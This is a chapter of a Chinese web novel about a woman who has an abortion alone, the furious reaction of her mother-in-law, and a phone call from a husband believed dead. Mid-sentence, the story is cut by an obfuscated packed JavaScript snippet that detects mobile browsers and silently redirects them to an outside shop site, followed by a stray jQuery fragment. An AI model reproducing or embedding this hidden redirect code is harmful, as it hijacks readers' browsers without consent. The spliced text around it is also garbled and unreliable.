蒋今越一个人去了医院做了流产手术，没有人陪同，没有提前告知任何人。
就像她不会告诉其他人自己什么时候要去上厕所，等会什么时候打算去食堂吃饭，今晚什么时候睡觉，这一切理所应当，她不需要其他任何人的批准。
跟蒋今越以为的相反，医院里孤身一人来流产的人才是多数，和蒋今越做同一种手术的女孩比她想象中多。有一部分有些看起来自己就只是小孩子，双眼红肿，痛苦得像是即将接受惩罚，病房里偶尔响起间歇的哭声，却都并不响亮，符合青春疼痛文学给人们提供的刻板印象。但出乎蒋今越意料的是，更多的患者是早已成婚的中年妇女。
对话声从坐在她右侧前方一排椅子上传来，那里有两个女人在交谈，一个说自己在这里做了三次流产，老公光顾着上班一次都没来陪过自己，另一个说你还算受罪受的少嘞自己从四年前到现在流了五个，反倒是邻居那家想生都生不了到处飞着去看病也是受了老罪了。
等了不知道多久，轮到蒋今越了。
换上拖鞋，脱下衣服和尊严，分开两腿，把脚蹬在架子上，把身体和隐私暴露在外，仿佛流水线上等待工人进行下一步加工的零部件。蒋今越躺在那张半褪色的粉色椅子上，看着护士把麻醉罩往自己脸上盖，那个瞬间，她的余光突然看到了墙上挂着的那件手术服，准确的说，是挂着手术服的衣架。
哦，衣架。蒋今越也不知道自己为何会注意到衣架。
大概是因为在未知的恐惧前，意识会飘忽不定难以集中，又或许是因为衣架实在是太具有代表性的象征，让蒋今越想起在那并不算很久的之前，堕胎其实是一种会剥夺医生执业资格的违禁行为，它常见，却并不总发生在手术室，而是发生在某个卧室。
那时的女人们传递关于堕胎知识、交流技巧、熟练掌握如何为自己完成一台手术，就好像现在的女孩相互递送卫生巾一样约定俗成，只为帮助彼此度过难关。衣架、鱼线、毛线针、伞骨、铁丝、电线、窗帘杆被发现了第二种用法，那就是伸向自己的身体……相比于那些如同酷刑的手段，如今的无痛手术早已进步太多，就好像已经让它成了一件小事，所有因这件事带来的痛苦全都不值一提。
只有那张粉色椅子见证了一切。那张廉价椅子上躺过无数女人，劣质的皮面开裂，露出黄得发黑的内芯来，尤其是两侧的把手，被每一个使用者都按出十道深深的凹陷来，因为痛苦，因为恐惧，因为愤怒。
在失去意识的最后一刻，蒋今越的双手隔着时空与她们十指相握。
蒋今越那天跟导师请了假，手术完就回家了，还没打开家门，就闻到了鲜甜的鸡汤味道，一进门，穿着围裙的张兰英笑眯眯地走出厨房，把餐桌上的盖子掀开：“越越啊，下班了？正好我的饭刚做好没多久，小峥啊，赶紧一起来吃吧。”
态度是从未有过的慈祥和温和。
在蒋今越印象里，这是她第一次这么叫自己。
“来了来了。”易峥端着另一盘土豆牛腩跟在后面，看蒋今越站在门口不动，把菜放下就凑到她面前帮忙把脱下来的外套挂在衣架上，“刚才忙着做菜我忘提前告诉你了，你别生气啊，主要是我今天上午把好消息告诉我妈之后她太激动了，二话不说就来了，忙了大半天做了这一桌子，我知道你喜欢她做的清炒虾仁，赶紧尝尝怎么样。”
蒋今越被拉着坐在桌前，张兰英主动往她面前的盘子里夹了块菜：“小峥特意给你买的罗氏虾，个大肉嫩，新鲜的要命，”
“行了妈，你也赶紧吃吧，忙活一下午了。”易峥招呼张兰英赶紧吃饭。
“吃，现在就吃。哦对不行，瞧我这记性，我调的酱汁还没拿出来，我们老家那有一家醋可好了，要不是之前都是邻居还弄不来呢。”张兰英猛地站起来，往厨房走去，“外面的东西都有添加剂，全是一群骗子，都不如我从老家拿来的醋香。”
看着张兰英离开餐桌，易峥趁着机会侧过身来：“别想那么多，我只是想先让老人家高兴高兴，后面的事再说，至少，我们先吃完这顿饭吧。”
很显然张兰英很高兴，可不知为何蒋今越高兴不起来，大概是因为她知道其实这不是给她的，这一桌子菜、这突如其来的示好、这从未有过的笑容都不是给她的，而是给她肚里的那个未成形的胚胎，她的孙辈，在张兰英看来，她只不过是一个人形的脐带。
真是奇怪，明明手术已经结束了，但那胚胎带来的影响似乎还在，她肚子里翻江倒海，头晕目眩，像是有什么想要吐出来。
蒋今越冲去厕所，但只是干呕，什么也没吐出来，隔着门她隐约能听到客厅里两人的交谈，语气中满是轻松喜悦。
看吧，真的只有她一个人在痛苦。
这不公平。
轰的一声门被打开，蒋今越看向其乐融融的餐桌。
“对了越越，我还给你带来了些蜂蜜，也是我们老家人自己养的，比现在卖的糖都甜。”张兰英指着餐桌上的透明罐子，其中是浅橘色的粘稠液体，“当时我怀小峥的时候就是用这个兑热水喝……”
“孩子我已经打了。”
说完这话，四周静寂，蒋今越终于不再觉得难受，仿佛一瞬间痊愈，在震惊的目光中，她往餐桌走去，经历手术后的身体知后觉地感受到了饥饿。
“你说啥？”张兰英安静了几秒，终于反应过来，“有本事你再给我说一遍。”
“我去做了流产手术，现在我的肚子里没有孩子了，你孙子已经不在这个世……”蒋今越开口，却被餐盘碗筷砸在地上的声音打断，热腾腾的鸡汤洒了一地，有几滴溅到了她的脚背上，火辣辣的疼。
“你……你……你——！”张兰英张了半天嘴，愣是说不出话来，只觉得气血上涌。
易峥知道她之前有高血压，连忙让她坐下，他一出现，张兰英的情绪就这么有了出口，她一掌拍向了自己的儿子，易峥一点没躲，用脸结结实实地接了这招。
“什么意思？都是什么意思？我不就是想要个孙子吗？有这么难吗？”张兰英恶狠狠地说，在她眼里结婚就要生孩子是个天经地义人人都必须要做的事，压根无法理解此前蒋今越那么抵触是为什么，更无法理解怀了孩子还要打掉是想干什么，“易峥，你跟她一起玩我是吧，上午刚告诉我有了孩子下午就没了？”
“不，妈不是这样的。”易峥还顾不上理顺自己的心情，下意识地解释，“我也是现在才知道的。你别生气，喘口气，休息会，要不等会又犯病了，你药带着的吗，要不先吃一口降一降血压。”
好饿。蒋今越没去管乱作一团的眼前，一半是因为她清楚自己掺和进去只会助长这幅乱象，另一半是因为虚弱的身体真的很需要营养。她拿起筷子，伸向了最靠近自己的清炒虾仁。这的确是张兰英做的菜里面最合她胃口的一道，其他菜多半油腻，她吃不惯那些。
“你还有脸吃饭！”张兰英看到眼前跟没事人一样的蒋今越，就抑制不住自己的怒气，顺手抄起右手的米饭往蒋今越脸上砸，看她躲开，火更大了，“你这贱人还敢躲，快把我的孙子还给我！”
“妈，妈，别这样。”易峥拦着自己母亲。
张兰英一看连自己儿子都不向着自己，更来劲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633739|206490||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了，一屁股坐在了椅子上嚎啕大哭：“老天爷我怎么这么命苦啊，生下来这么个胳膊肘往外拐的儿子，娶了个神经病女人，好不容易有个孙子还就这么没了。”
神经病女人啊……
蒋今越从未跟别人提起彭雨的事情，只不过这件事也并不好隐瞒。临江是个小城市，八卦绯闻几天就能传得满城都是，更何况当年蒋国良的死闹得沸沸扬扬，连带着彭雨也走到了风口浪尖，虽然当年那桩杀人案的始作俑者早就盖章定论，可这件事实在太惹人眼球。
主角是从白手起家到富贾一方的体育冠军、美艳动人的模特婚后变得疯疯癫癫、她们的女儿在这样的环境中还能次次考第一，任是哪个标签单拎出来都惹人关注，更何况三件事同时发生，连带着半真半假的传闻也都传得更远。
张兰英大概是被易峥叮嘱过，不要在蒋今越面前提这件事，可显然私下里不知道骂过她多少次神经病女人了吧。
张兰英哭了一会，见只有易峥来哄着自己，蒋今越仍在吃菜，索性一个接一个摔她面前的碗碟，直到所有菜都被洒在地上为止。
蒋今越只皱着眉看了眼地上的一片狼藉：“浪费。”
“妈，妈——”伴随着易峥的喊声，张兰英彻底昏了过去。
易峥急吼吼地背着人冲出家门，还没忘跟蒋今越说一声：“我送妈去医院，你好好休息。”
那天，作为混乱的结尾，蒋今越点了个外卖，安静地享受了一顿只属于自己的晚餐，接下来便如今天一般，在书桌前看了一会论文，紧接着洗漱，读书，然后在睡意翻滚时闭上眼睛。在入睡的前一刻，她听到门外有人回家的轻响，过了会，卧室门也被打开，一阵蹑手蹑脚的窸窸窣窣后，蒋今越感受到身旁的床垫一沉，房间安静得只能听到两个人的呼吸声。
“其实，下午的时候我很想问一些'你真的去做了这件事吗？'这种废话，但后来觉得没必要。”一双手臂轻轻从背后环住了蒋今越的腰，安抚一般拍了拍，易峥语气很慢也很轻，比起对话，更像是在说服自己，“你从来不会对我撒谎，也从来不会轻易改变，更不会因为外力而妥协。”
“是我太傻，错以为能改变这一切。”
“那就这样吧，也只能这样了，我只能接受这一个选择了。”
过了一会后，一抹温热的触感落在了她的发梢，蒋今越隐约感受到了。
可她没有睁眼，也没有回头，甚至没去分辨那是吻还是泪，只是闭着双眼，过了一会就沉沉睡去。
*
第二天六点十三，还在熟睡的蒋今越是被一通电话吵醒的，昨天发生了太多，这一晚睡得很沉，却梦多，她困得连名字都没看清就按下了接听键。
“啊？你还在睡觉啊？”
“嗯。”蒋今越带着鼻音哼了一声，来电的人声音很耳熟，听起来应该是熟人，所以尽管一时间混混沌沌的脑子没能听出对方的身份，可她也没挂断。
“哦抱歉。我好像算错时差了，我打电话是想跟你说，我这边的工作有点麻烦，估计还要过阵子才能回去……”蒋今越微微睁眼，深色的窗帘遮挡住了全部的光线，让人难以分辨现在到底是什么时间，昏暗的四周也让人不知道身处何处，她的意识还沉浸在梦里，还在那台粉色的手术椅子上等待着手术，迟迟回不到现实，只是茫然地听见电话那端的声音，“最近汇率不错，我在这里买了不少东西，你猜猜看都有什么。”
“嗯？你买了什……”意识缓缓回笼，她猛然惊醒坐了起来，终于意识到哪里不对。
说话的人是她的丈夫，一个死去的人——易峥。